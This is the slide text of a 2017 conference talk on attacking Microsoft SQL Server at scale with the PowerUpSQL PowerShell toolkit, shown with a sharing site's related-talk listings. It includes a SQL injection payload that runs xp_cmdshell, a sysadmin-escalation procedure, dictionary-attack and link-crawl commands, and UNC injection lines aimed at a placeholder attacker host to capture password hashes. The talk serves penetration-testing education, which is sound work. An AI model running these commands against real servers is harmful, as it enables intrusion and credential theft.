Optimize Is (Not) Bad For You - Rafał Kuć, Sematext Group, Inc.
Lucidworks
 
Horizontal clustering configuration steps
TUSHAR VARSHNEY
 
Download Presentation
webhostingguy
 
Virtual Hosts Configuration with Weblogic Server
Pawan Kumar
 

Similar to 2017 Thotcon - Hacking SQL Servers on Scale with PowerShell (20)

PPTX
2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell
Scott Sutherland
 
PDF
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
Scott Sutherland
 
PPT
Fortress SQL Server
webhostingguy
 
PPT
Where should I be encrypting my data?
Information Technology Society Nepal
 
PPT
SQL Server Security - Attack
webhostingguy
 
PPTX
Geek Sync | SQL Security Principals and Permissions 101
IDERA Software
 
PPT
98_364_Slides_Lesson05.ppt
RahafKhalid14
 
PPTX
The Spy Who Loathed Me - An Intro to SQL Server Security
Chris Bell
 
PDF
Ce hv6 module 42 hacking database servers
Vi Tính Hoàng Nam
 
PPT
Dealing with SQL Security from ADO.NET
Fernando G. Guerrero
 
PDF
KoprowskiT_SQLRelayCaerdydd_SQLSecurityInTheClouds
Tobias Koprowski
 
PPTX
WWHF 2018 - Using PowerUpSQL and goddi for Active Directory Information Gathe...
ThomasElling1
 
PDF
KoprowskiT_SQLSatHolland_SQLServerSecurityInTheCloud
Tobias Koprowski
 
PDF
KoprowskiT_SQLRelayBirmingham_SQLSecurityInTheClouds
Tobias Koprowski
 
PDF
DEF CON 31 Demo Labs 2023: Abusing Microsoft SQL Server with SQLRecon
Sanjiv Kawa
 
PPTX
Isaca sql server 2008 r2 security & auditing
Antonios Chatzipavlis
 
PDF
Think Like a Hacker - Database Attack Vectors
Mark Ginnebaugh
 
PDF
Lesson 5 security
Ram Kedem
 
PPT
Dealing with SQL Security from ADO.NET
Fernando G. Guerrero
 
PDF
Reviewing sql server permissions tech republic
Kaing Menglieng
 
2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell
Scott Sutherland
 
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
Scott Sutherland
 
Fortress SQL Server
webhostingguy
 
Where should I be encrypting my data?
Information Technology Society Nepal
 
SQL Server Security - Attack
webhostingguy
 
Geek Sync | SQL Security Principals and Permissions 101
IDERA Software
 
98_364_Slides_Lesson05.ppt
RahafKhalid14
 
The Spy Who Loathed Me - An Intro to SQL Server Security
Chris Bell
 
Ce hv6 module 42 hacking database servers
Vi Tính Hoàng Nam
 
Dealing with SQL Security from ADO.NET
Fernando G. Guerrero
 
KoprowskiT_SQLRelayCaerdydd_SQLSecurityInTheClouds
Tobias Koprowski
 
WWHF 2018 - Using PowerUpSQL and goddi for Active Directory Information Gathe...
ThomasElling1
 
KoprowskiT_SQLSatHolland_SQLServerSecurityInTheCloud
Tobias Koprowski
 
KoprowskiT_SQLRelayBirmingham_SQLSecurityInTheClouds
Tobias Koprowski
 
DEF CON 31 Demo Labs 2023: Abusing Microsoft SQL Server with SQLRecon
Sanjiv Kawa
 
Isaca sql server 2008 r2 security & auditing
Antonios Chatzipavlis
 
Think Like a Hacker - Database Attack Vectors
Mark Ginnebaugh
 
Lesson 5 security
Ram Kedem
 
Dealing with SQL Security from ADO.NET
Fernando G. Guerrero
 
Reviewing sql server permissions tech republic
Kaing Menglieng
 

More from Scott Sutherland (12)

PPTX
Hunting SMB Shares with Data, Graphs, Charts, and LLMs (SO-CON 2025)
Scott Sutherland
 
PPTX
Into the Abyss: Evaluating Active Directory SMB Shares on Scale (Secure360)
Scott Sutherland
 
PPTX
How to Build and Validate Ransomware Attack Detections (Secure360)
Scott Sutherland
 
PDF
Attack All the Layers: What's Working during Pentests (OWASP NYC)
Scott Sutherland
 
PPTX
Secure360 - Attack All the Layers! Again!
Scott Sutherland
 
PPTX
Secure360 - Extracting Password from Windows
Scott Sutherland
 
PPTX
WTF is Penetration Testing v.2
Scott Sutherland
 
PDF
Attack all the layers secure 360
Scott Sutherland
 
PDF
Declaration of malWARe
Scott Sutherland
 
PDF
Thick Application Penetration Testing: Crash Course
Scott Sutherland
 
PDF
Introduction to Windows Dictionary Attacks
Scott Sutherland
 
PDF
WTF is Penetration Testing
Scott Sutherland
 
Hunting SMB Shares with Data, Graphs, Charts, and LLMs (SO-CON 2025)
Scott Sutherland
 
Into the Abyss: Evaluating Active Directory SMB Shares on Scale (Secure360)
Scott Sutherland
 
How to Build and Validate Ransomware Attack Detections (Secure360)
Scott Sutherland
 
Attack All the Layers: What's Working during Pentests (OWASP NYC)
Scott Sutherland
 
Secure360 - Attack All the Layers! Again!
Scott Sutherland
 
Secure360 - Extracting Password from Windows
Scott Sutherland
 
WTF is Penetration Testing v.2
Scott Sutherland
 
Attack all the layers secure 360
Scott Sutherland
 
Declaration of malWARe
Scott Sutherland
 
Thick Application Penetration Testing: Crash Course
Scott Sutherland
 
Introduction to Windows Dictionary Attacks
Scott Sutherland
 
WTF is Penetration Testing
Scott Sutherland
 

Recently uploaded (20)

PDF
Lung cancer patients survival prediction using outlier detection and optimize...
IAESIJAI
 
PDF
Build Real-Time ML Apps with Python, Feast & NoSQL
ScyllaDB
 
PDF
Advancing precision in air quality forecasting through machine learning integ...
IAESIJAI
 
PDF
CXOs-Are-you-still-doing-manual-DevOps-in-the-age-of-AI.pdf
Kalilur Rahman
 
PDF
5-Ways-AI-is-Revolutionizing-Telecom-Quality-Engineering.pdf
Kalilur Rahman
 
PDF
AI.gov: A Trojan Horse in the Age of Artificial Intelligence
Michael Weaver
 
PDF
The AI Revolution in Customer Service - 2025
Body of Knowledge
 
PDF
Streamline Vulnerability Management From Minimal Images to SBOMs
Anchore
 
PDF
Transform-Your-Streaming-Platform-with-AI-Driven-Quality-Engineering.pdf
Kalilur Rahman
 
PDF
Introduction to MCP and A2A Protocols: Enabling Agent Communication
Maxim Salnikov
 
PDF
Rapid Prototyping: A lecture on prototyping techniques for interface design
Mark Billinghurst
 
PDF
giants, standing on the shoulders of - by Daniel Stenberg
Daniel Stenberg
 
PDF
Transform-Your-Supply-Chain-with-AI-Driven-Quality-Engineering.pdf
Kalilur Rahman
 
PDF
Transform-Your-Factory-with-AI-Driven-Quality-Engineering.pdf
Kalilur Rahman
 
PDF
Early detection and classification of bone marrow changes in lumbar vertebrae...
IAESIJAI
 
PPTX
Build automations faster and more reliably with UiPath ScreenPlay
AndreeaTom
 
PDF
ment.tech-Siri Delay Opens AI Startup Opportunity in 2025.pdf
thomasnova26
 
PDF
substrate PowerPoint Presentation basic one
jwaite4
 
PPTX
How to Convert Tickets Into Sales Opportunity in Odoo 18
Celine George
 
PDF
A symptom-driven medical diagnosis support model based on machine learning te...
IAESIJAI
 
Lung cancer patients survival prediction using outlier detection and optimize...
IAESIJAI
 
Build Real-Time ML Apps with Python, Feast & NoSQL
ScyllaDB
 
Advancing precision in air quality forecasting through machine learning integ...
IAESIJAI
 
CXOs-Are-you-still-doing-manual-DevOps-in-the-age-of-AI.pdf
Kalilur Rahman
 
5-Ways-AI-is-Revolutionizing-Telecom-Quality-Engineering.pdf
Kalilur Rahman
 
AI.gov: A Trojan Horse in the Age of Artificial Intelligence
Michael Weaver
 
The AI Revolution in Customer Service - 2025
Body of Knowledge
 
Streamline Vulnerability Management From Minimal Images to SBOMs
Anchore
 
Transform-Your-Streaming-Platform-with-AI-Driven-Quality-Engineering.pdf
Kalilur Rahman
 
Introduction to MCP and A2A Protocols: Enabling Agent Communication
Maxim Salnikov
 
Rapid Prototyping: A lecture on prototyping techniques for interface design
Mark Billinghurst
 
giants, standing on the shoulders of - by Daniel Stenberg
Daniel Stenberg
 
Transform-Your-Supply-Chain-with-AI-Driven-Quality-Engineering.pdf
Kalilur Rahman
 
Transform-Your-Factory-with-AI-Driven-Quality-Engineering.pdf
Kalilur Rahman
 
Early detection and classification of bone marrow changes in lumbar vertebrae...
IAESIJAI
 
Build automations faster and more reliably with UiPath ScreenPlay
AndreeaTom
 
ment.tech-Siri Delay Opens AI Startup Opportunity in 2025.pdf
thomasnova26
 
substrate PowerPoint Presentation basic one
jwaite4
 
How to Convert Tickets Into Sales Opportunity in Odoo 18
Celine George
 
A symptom-driven medical diagnosis support model based on machine learning te...
IAESIJAI
 

2017 Thotcon - Hacking SQL Servers on Scale with PowerShell

  • 1. SQL _ 201720172017 what: Hacking SQL Server on Scale with PowerShell who: Scott Sutherland, 2017 Where: TOP_SECRET v1
  • 2. Speaker Information Name: Scott Sutherland Job: Network & Application Pentester @ NetSPI Twitter: @_nullbind Slides: http://slideshare.net/nullbind http://slideshare.net/netspi Blogs: https://blog.netspi.com/author/scott-sutherland/ Code: https://github.com/netspi/PowerUpSQL https://github.com/nullbind
  • 3. Presentation Overview ● PowerUpSQL Overview ● SQL Server Discovery ● Privilege Escalation Scenarios o Domain user to SQL Server login o SQL Server Login to Sysadmin o Sysadmin to Windows Admin o Windows Admin to Sysadmin o Domain Escalation ● Post Exploitation Activities ● General Recommendations
  • 6. PowerUpSQL Overview: Primary Goals ● Instance Discovery ● Auditing ● Exploitation ● Scalable ● Flexible ● Portable https://github.com/netspi/PowerUpSQL
  • 7. PowerUpSQL Overview: Functions Primary Attack Functions ● Invoke-SQLDumpInfo ● Invoke-SQLAudit ● Invoke-SQLEscalatePriv Popular Auxiliary Functions ● Get-SQLInstanceDomain ● Invoke-SQLOsCmd ● Invoke-SQLOsCLR ● Invoke-SQLImperstonateService ● Invoke-SQLAuditDefaultLoginPw ● Invoke-SQLAuditWeakLoginPw https://github.com/NetSPI/PowerUpSQL/wikiCurrently over 70 Functions
  • 8. PowerUpSQL Overview: Help? List Functions Get-Command PowerUpSQL
  • 9. PowerUpSQL Overview: Help? Get Command Help Get-Help Get-SQLServerInfo
  • 11. SQL Server Discovery: Techniques Attacker Perspective Attack Technique Unauthenticated ● List from file ● TCP port scan ● UDP port scan ● UDP ping of broadcast addresses ● Azure DNS dictionary attack (x.databases.windows.net) ● Azure DNS lookup via public resources Local User ● Services ● Registry entries Domain User ● Service Principal Names ● Azure Portal / PowerShell Modules
  • 12. SQL Server Discovery: PowerUpSQL Attacker Perspective PowerUpSQL Function Unauthenticated Get-SQLInstanceFile Unauthenticated Get-SQLInstanceUDPScan Local User Get-SQLInstanceLocal Domain User Get-SQLInstanceDomain Blog: https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/
  • 14. Testing Login Access: PowerUpSQL Attacker Perspective Attack PowerUpSQL Function Example Unauthenticated Dictionary Attacks Invoke-SQLAuditWeakLoginPw –Instance “Server1Instance1” -UserFile c:tempusers.txt –PassFile C:tempPasswords.txt Unauthenticated Default Vendor Passwords Get-SQLInstanceFile C:tempComputers.txt | Select Computername | Get-SQLInstanceScanUDPThreaded –Verbose | Get-SQLServerLoginDefaultPw -Verbose Local User Excessive Login Priv Get-SQLInstance | Get-SQLConnectionTest -Verbose Domain Account Excessive Login Priv Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
  • 15. Testing Login Access: Default App Pw
  • 16. Testing Login Access: Reusing Results Process Command Example Enumerate Accessible Servers $Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object {$_.Status –like “Accessible”} Get server information $Acessible | Get-SQLServerInfo -Verbose Get database list $Acessible | Get-SQLDatabase -Verbose Perform audit $Acessible | Invoke-SQLAudit -Verbose Do I have to rerun instance discovery every time I want to run a command? No.
  • 17. Testing Login Access: DEMO Identifying Excessive Login Privileges as a Domain User
  • 19. Escalating Privileges: Domain User Why can Domain Users login into so many SQL Servers? ● Admins give them access ● Privilege inheritance issue on domain systems = Public role access ● SQL Server Express is commonly vulnerable ● A lot of 3rd party solutions are affected
  • 20. Escalating Privileges: Domain User Why can Domain Users login into so many SQL Servers? ● Admins give them access ● Privilege inheritance issue on domain systems = Public role access ● SQL Server Express is commonly vulnerable ● A lot of 3rd party solutions are affected
  • 21. Escalating Privileges: Domain User Why can Domain Users login into so many SQL Servers? ● Admins give them access ● Privilege inheritance issue on domain systems = Public role access ● SQL Server Express is commonly vulnerable ● A lot of 3rd party solutions are affected
  • 23. Escalating Privileges: Weak PWs Didn’t we just cover this? Yes, but there’s more… Attacker Perspective Attack PowerUpSQL Function Example Unauthenticated Dictionary Attacks Invoke-SQLAuditWeakLoginPw –Instance “Server1Instance1” -UserFile c:tempusers.txt –PassFile C:tempPasswords.txt Unauthenticated Default Vendor Passwords Get-SQLInstanceFile C:tempComputers.txt | Select Computername | Get-SQLInstanceScanUDPThreaded –Verbose | Get-SQLServerLoginDefaultPw -Verbose Domain Account Excessive Login Priv Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw – Verbose
  • 24. Escalating Privileges: Weak PWs …we can also enumerate SQL Server logins and Domain Accounts  Technique PowerUpSQL Function Blind Login Enumeration + Dictionary Attack = Super Cool! Invoke-SQLAuditWeakLoginPw • Enumerate all SQL Server logins with the Public role • Enumerate all domain accounts with the Public role
  • 25. Escalating Privileges: Weak PWs Enumerating SQL Logins 1. Attempt to list all SQL Server logins and fail.
  • 26. Escalating Privileges: Weak PWs Enumerating SQL Logins 1. Attempt to list all SQL Server logins and fail. 2. Get principal id for the sa account with “suser_id”
  • 27. Escalating Privileges: Weak PWs Enumerating SQL Logins 1. Attempt to list all SQL Server logins and fail. 2. Get principal id for the sa account with “suser_id” 3. Use “suser_name” to get SQL logins using just principal ID
  • 28. Escalating Privileges: Weak PWs Enumerating SQL Logins 1. Attempt to list all SQL Server logins and fail. 2. Get principal id for the sa account with “suser_id” 3. Use “suser_name” to get SQL logins using just principal ID 4. Increment number and repeat
  • 29. Escalating Privileges: Weak PWs Enumerating SQL Logins 1. Attempt to list all SQL Server logins and fail. 2. Get principal id for the sa account with “suser_id” 3. Use “suser_name” to get SQL logins using just principal ID 4. Increment number and repeat select n [id], SUSER_NAME(n) [user_name] from ( select top 10000 row_number() over(order by t1.number) as N from master..spt_values t1 cross join master..spt_values t2 ) a where SUSER_NAME(n) is not null Code gifted from @mobileck Source: https://gist.github.com/ConstantineK/c6de5d398ec43bab1a29ef07e8c21ec7
  • 30. Escalating Privileges: Weak PWs Enumerating Domain Users 1. Get the domain Domain of SQL Server
  • 31. Escalating Privileges: Weak PWs Enumerating Domain Users 1. Get the domain 2. GID RID of default group Full RID of Domain Admins group
  • 32. Escalating Privileges: Weak PWs Enumerating Domain Users 1. Get the domain 2. GID RID of default group 3. Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
  • 33. Escalating Privileges: Weak PWs Enumerating Domain Users 1. Get the domain 2. GID RID of default group 3. Grab the first 48 Bytes of the full RID 4. Create new RID with by appending a hex number value and the SID 1. Start with number, 500 2. Convert to hex, F401 3. Pad with 0 to 8 bytes, F4010000 4. Concatenate the SID and the new RID SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
  • 34. Escalating Privileges: Weak PWs Enumerating Domain Users 1. Get the domain 2. GID RID of default group 3. Grab the first 48 Bytes of the full RID 4. Create new RID with by appending a hex number value and the SID 5. Use “suser_name” function to get domain object name 1. Start with number, 500 2. Convert to hex, F401 3. Pad with 0 to 8 bytes, F4010000 4. Concatenate the SID and the new RID SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
  • 35. Escalating Privileges: Weak PWs Enumerating Domain Users 1. Get the domain 2. GID RID of default group 3. Grab the first 48 Bytes of the full RID 4. Create new RID with by appending a hex number value and the SID 5. Use “suser_name” function to get domain object name 6. Increment and repeat 1. Start with number, 500 2. Convert to hex, F401 3. Pad with 0 to 8 bytes, F4010000 4. Concatenate the SID and the new RID SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
  • 38. Escalating Privileges: Impersonation 1. Impersonate Privilege • Server: EXECUTE AS LOGIN • Database: EXECUTE AS USER 2. Stored Procedure and Trigger Creation / Injection Issues • EXECUTE AS OWNER • Signed with cert login 3. Automatic Execution of Stored Procedures 4. Agent Jobs • User, Reader, and Operator roles 5. xp_cmdshell proxy acount 6. Create Databse Link to File or Server 7. Import / Install Custom Assemblies 8. Ad-Hoc Queries 9. Shared Service Accounts 10. Database Links 11. UNC Path Injection 12. Python code execution
  • 39. Impersonate Privilege • Can be used at server layer o EXECUTE AS LOGIN • Can be used at database layer o EXECUTE AS USER Pros • Execute queries/commands in another user context Cons • Commands and queries are not limited in any way • Requires database to be configured as trustworthy for OS command execution Escalating Privileges: Impersonation
  • 40. Impersonate Privilege • Can be used at server layer o EXECUTE AS LOGIN • Can be used at database layer o EXECUTE AS USER Escalating Privileges: Impersonation
  • 41. Impersonate Privilege • Can be used at server layer o EXECUTE AS LOGIN • Can be used at database layer o EXECUTE AS USER Escalating Privileges: Impersonation
  • 42. Stored Procedure and Trigger Creation / Injection Issues • EXECUTE AS OWNER can be used to execute a stored procedure as another login Pros • Can execute queries/commands in another user context • Limit commands and queries • Don’t have to grant IMPERSONATE Cons • No granular control over the database owner’s privileges • DB_OWNER role can EXECUTE AS OWNER of the DB, which is often a sysadmin • Requires database to be configured as trustworthy for OS command execution • Impersonation can be done via SQL injection under specific conditions • Impersonation can be done via command injection under specific conditions Escalating Privileges: Impersonation
  • 43. Stored Procedure and Trigger Creation / Injection Issues • EXECUTE AS OWNER can be used to execute a stored procedure as another login • DB_OWNER role can impersonate the actual database owner USE MyAppDb GO CREATE PROCEDURE sp_escalate_me WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'MyAppUser','sysadmin' GO Escalating Privileges: Impersonation
  • 44. Stored Procedure and Trigger Creation / Injection Issues • EXECUTE AS OWNER can be used to execute a stored procedure as another login • DB_OWNER role can impersonate the actual database owner USE MyAppDb GO CREATE PROCEDURE sp_escalate_me WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'MyAppUser','sysadmin' GO SYSADMIN is often the OWNER Escalating Privileges: Impersonation
  • 45. Stored Procedure and Trigger Creation / Injection Issues • Use signed Procedures o Create stored procedure o Create a database master key o Create a certificate o Create a login from the certificate o Configure login privileges o Sign stored procedure with certifiate o GRANT EXECUTE to User Pros • Can execute queries/commands in another user context • Limit commands and queries • Don’t have to grant IMPERSONATE • Granular control over permissions • Database does NOT have to be configured as trustworthy for OS command execution Cons • Impersonation can be done via SQL injection under specific conditions • Impersonation can be done via command injection under specific conditions Escalating Privileges: Impersonation
  • 46. SQL Injection Example CREATE PROCEDURE sp_sqli2 @DbName varchar(max) AS BEGIN Declare @query as varchar(max) SET @query = ‘ SELECT name FROM master..sysdatabases WHERE name like ''%'+ @DbName+'%'' OR name=''tempdb'''; EXECUTE(@query) END GO https://blog.netspi.com/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/ Escalating Privileges: Impersonation
  • 47. SQL Injection Example CREATE PROCEDURE sp_sqli2 @DbName varchar(max) AS BEGIN Declare @query as varchar(max) SET @query = ‘ SELECT name FROM master..sysdatabases WHERE name like ''%'+ @DbName+'%'' OR name=''tempdb'''; EXECUTE(@query) END GO PURE EVIL https://blog.netspi.com/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/ Escalating Privileges: Impersonation
  • 48. SQL Injection Example EXEC MASTER.dbo.sp_sqli2 'master'';EXEC master..xp_cmdshell ''whoami''--'; https://blog.netspi.com/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/ Escalating Privileges: Impersonation
  • 49. SQL Injection Example Escalating Privileges: Impersonation
  • 50. Automatic Execution of Stored Procedure • Stored procedures ca be configured to execute when the SQL Server service restarts Pros • Marking a stored procedure to run when the SQL Server service restarts has many use cases • Only stored procedures in the master database can be marked for auto execution Cons • No granular control over what context the startup command is executed in • All stored procedures marked for auto execution are executed as ‘sa’, even if ‘sa’ is disabled • Any non sysadmin access to stored procedures can lead to execution as ‘sa’ Escalating Privileges: Impersonation
  • 56. OS Command Execution Through SQL Server = Windows Service Account Impersonation Escalating Privileges: SysAdmin to Win Account
  • 57. You don’t need to know the password, crack a hash, or PTH. Escalating Privileges: SysAdmin to Win Account
  • 58. There are a lot of options for executing OS commands. Escalating Privileges: SysAdmin to Win Account
  • 59. Add invoke-sqloscmdclr and agents Technique Configuration Change Requires Sysadmin Requires Disk Read/Write Notes xp_cmdshell Yes Yes No sp_configure ‘xp_cmdshell', 1; RECONFIGURE; Can be configured with proxy account. (sp_xp_cmdshell_proxy_account) Custom Extended Stored Procedure No Yes Yes sp_addextendedproc CLR Assembly Yes No No sp_configure ‘clr enabled', 1; RECONFIGURE; sp_configure ‘clr strict security', 1; RECONFIGURE; -- 2017 Requires: Database has ‘Is_Trustworthy’ flag set. Requires: CREATE ASSEMBLY permission or sysadmin Agent Job: • CmdExec • PowerShell • SSIS • ActiveX: Jscript • ActiveX: VBScript No No No Can be configured with proxy account. Requires one of the role below: SQLAgentUserRole SQLAgentReaderRole SQLAgentOperatorRole Python Execution Yes Yes No sp_configure 'external scripts enabled', 1; RECONFIGURE; Write to file autorun Yes Yes Yes sp_addlinkedserver Openrowset Opendataset Write to registry autorun Yes Yes Yes xp_regwrite
  • 61. There are a lot Windows account SQL Server can be configured with. Escalating Privileges: SysAdmin to Win Account
  • 62. Service Account Types ● Local User ● Local System ● Network Service ● Local managed service account ● Domain managed service account ● Domain User ● Domain Admin Escalating Privileges: SysAdmin to Win Account
  • 63. Escalating Privileges: Invoke-SQLOSCmd Invoke-SQLOSCMD can be used for basic command execution via xp_cmdshell. PS C:>$Accessible | Invoke-SQLOSCmd –Command “whoami” ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
  • 65. Escalating Privileges: Shared Svc Accounts Why should I care about shared service accounts? 1. SysAdmins can execute OS commands 2. OS commands run as the SQL Server service account 3. Service accounts have sysadmin privileges by default 4. Companies often use a single domain account to run hundreds of SQL Servers 5. So if you get sysadmin on one server you have it on all of them! One account to rule them all!
  • 66. InternetDMZIntranet LRA HVA LVA ADS LVA Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Key HVA = High Value Application LVA = Low Value Application Leveraging Shared MS SQL Server Service Accounts
  • 67. InternetDMZIntranet LRA HVA LVA ADS LVA Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain Evil SQL Injection 1 Key HVA = High Value Application LVA = Low Value Application Leveraging Shared MS SQL Server Service Accounts
  • 68. InternetDMZIntranet LRA HVA LVA ADS LVA Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain Evil SQL Injection 1 Execute Local Command via xp_cmdshell 2 Key HVA = High Value Application LVA = Low Value Application Leveraging Shared MS SQL Server Service Accounts
  • 69. InternetDMZIntranet LRA HVA LVA ADS LVA Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain Evil SQL Injection 1 Execute Local Command via xp_cmdshell 2 Access to HVA with shared domain service account Key HVA = High Value Application LVA = Low Value Application Execute commands and gather data from other database servers via osql 3 Leveraging Shared MS SQL Server Service Accounts
  • 71. Escalating Privileges: Crawling Links What’s a SQL Server link? ● SQL Server links are basically persistent database connections for SQL Servers. Why should I care? ● Short answer = privilege escalation ● Public role can use links to execute queries on remote servers (impersonation) SELECT * FROM OpenQuery([SQLSERVER2],’SELECT @@Version’) ● Stored procedures can be executed – like xp_cmdshell ;) ● Links can be crawled
  • 72. InternetDMZIntranet LRA HVA LVA ADS Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain EvilKey HVA = High Value Application LVA = Low Value Application Leveraging MS SQL Database links DB1 LVA
  • 73. InternetDMZIntranet LRA HVA LVA ADS Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain Evil SQL Injection 1 Key HVA = High Value Application LVA = Low Value Application Leveraging MS SQL Database links DB1 LVA
  • 74. InternetDMZIntranet LRA HVA LVA ADS Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain Evil SQL Injection 1 Key HVA = High Value Application LVA = Low Value Application Leveraging MS SQL Database links D B Link w ith LeastPrivileges DB1 LVA
  • 75. InternetDMZIntranet LRA HVA LVA ADS Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain Evil SQL Injection 1 Key HVA = High Value Application LVA = Low Value Application Leveraging MS SQL Database links D B Link w ith LeastPrivileges DB Link with SA account DB1 LVA Execute SQL queries and local commands on database servers via nested linked services 2
  • 76. Escalating Privileges: Crawling Links Penetration Test Stats ● Database links exist (and can be crawled) in about 50% of environments we’ve seen ● The max number of hops we’ve seen is 12 ● The max number of servers crawled is 226
  • 77. Escalating Privileges: Crawling Links Old Metasploit Module ● mssql_linkcrawler Module ● Author: Antti Rantasaari and Scott Sutherland - Released 2012 ● https://www.rapid7.com/db/modules/exploit/windows/mssql/mssql_linkcrawler New PowerUpSQL Function ● Get-SQLServerLinkCrawl ● Author: Antti Rantasaari ● https://blog.netspi.com/sql-server-link-crawling-powerupsql/
  • 78. Escalating Privileges: Crawling Links Function Description Get-SQLServerLink Get a list of SQL Server Link on the server. Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution. Examples Get-SQLServerLinkCrawl -Verbose -Instance "10.1.1.1SQLSERVER2008“ Get-SQLServerLinkCrawl -Verbose -Instance "10.1.1.1SQLSERVER2008" -Query “select * from master..sysdatabases” Get-SQLServerLinkCrawl -Verbose -Instance "10.1.1.1SQLSERVER2008" -Query “exec master..xp_cmdshell ‘whoami’”
  • 80. DEMO
  • 83. Escalating Privileges: UNC Injection UNC Path Injection Summary ● UNC paths are used for accessing remote file servers like so 192.168.1.4file ● Almost all procedures that accept a file path in SQL Server, support UNC paths ● UNC paths can be used to force the SQL Server service account to authenticate to an attacker ● An attacker can then capture the NetNTLM password hash and crack or relay it ● Relay becomes pretty easy when you know which SQL Servers are using shared accounts
  • 85. Escalating Privileges: UNC Injection The Issue • By DEFAULT, the PUBLIC role can execute at least two procedures that accept a file path xp_dirtree 'attackeripfile‘ xp_fileexists 'attackeripfile‘ The Solution • EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that) UNC Path Injection Cheat Sheet (More options) • https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e
  • 86. Escalating Privileges: UNC Injection Another Issue • The Public role can perform UNC path injection into the BACKUP and RESTORE commands: BACKUP LOG [TESTING] TO DISK = 'attackeripfile‘ RESTORE LOG [TESTING] FROM DISK = 'attackeripfile' Partial Solution • A patch was released for SQL Server versions 2012 through 2016 https://technet.microsoft.com/library/security/MS16-131 • There is no patch for SQL Server 2000 to 2008
  • 87. Escalating Privileges: UNC Injection So, in summary… 1. The PUBLIC role can access the SQL Server service account NetNTLM password hash by default 2. A ton of domain users have PUBLIC role access 3. Whooray for domain privilege escalation!
  • 89. Escalating Privileges: UNC Path Injection DEMO
  • 91. Escalating Privileges: OS Admin to SysAdmin Two things to remember… 1. Different SQL Server versions can be abused in different ways 2. All SQL Server versions provide the service account with sysadmin privileges.
  • 92. Escalating Privileges: OS Admin to SysAdmin Approach 2000 2005 2008 2012 2014 2016 Read LSA Secrets x x x x x x Dump Wdigest or NTLM password hash from Memory x x x x x x Process Migration (Remote DLL or Shellcode Injection) x x x x x x Steal Authentication Token from SQL Server service process x x x x x x Log into SQL Server as a local administrator x x Log into SQL Server as a LocalSystem x x x Log into SQL Server in Single User Mode as a local administrator ? x x x x x
  • 93. Escalating Privileges: OS Admin to SysAdmin Here are some tool options...Approach Account Password Recovery Account Impersonation Default Sysadmin Privileges Common Tools Read LSA Secrets (Because service accounts) X Mimikatz, Metasploit, PowerSploit, Empire, LSADump Dump Wdigest or NTLM password hash from Memory X Mimikatz, Metasploit, PowerSploit, Empire Note: This tends to fail on protected processes. Process Migration (Remote DLL or Shellcode Injection) X Metasploit, PowerSploit, Empire Python, Powershell, C, C++ Steal Authentication Token from SQL Server service process X Metasploit, Incognito, Invoke-TokenManipulation Log into SQL Server as a local administrator X Any SQL Server client. Note: Only affects older versions. Log into SQL Server as a LocalSystem X Ay SQL Server client and PSExec. Note: Only affects older versions. Log into SQL Server in Single User Mode as a local administrator X DBATools
  • 97. Post Exploitation: Overview Common Post Exploitation Activities 1. Establish Persistence • SQL Server Layer: startup procedures, agent jobs, triggers, modified code • OS Layer: Registry & file auto runs, tasks, services, etc. 2. Identify Sensitive Data • Target large databases • Locate transparently encrypted databases • Search columns based on keywords and sample data • Use regular expressions and the Luhn formula against data samples 3. Exfiltrate Sensitive Data • All standard methods: Copy database, TCP ports, UDP ports, DNS tunneling, ICMP tunneling, email, HTTP, shares, links, etc. (No exfil in PowerUpSQL yet)
